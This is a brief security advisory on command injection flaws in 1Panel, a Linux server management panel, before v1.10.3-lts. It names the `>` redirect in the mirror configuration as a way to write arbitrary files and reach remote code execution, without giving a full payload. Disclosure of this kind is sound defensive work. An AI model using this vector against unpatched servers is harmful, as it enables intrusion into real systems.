1Panel is an open source Linux server operation and maintenance management panel. Prior to v1.10.3-lts, there are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. The mirror configuration write symbol `>` can be used to achieve arbitrary file writing. This vulnerability is fixed in v1.10.3-lts.

Affected: Go: github.com/1Panel-dev/1Panel

### Summary There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. We can use the following mirror configuration write symbol `>` to achieve arbitrary file writing
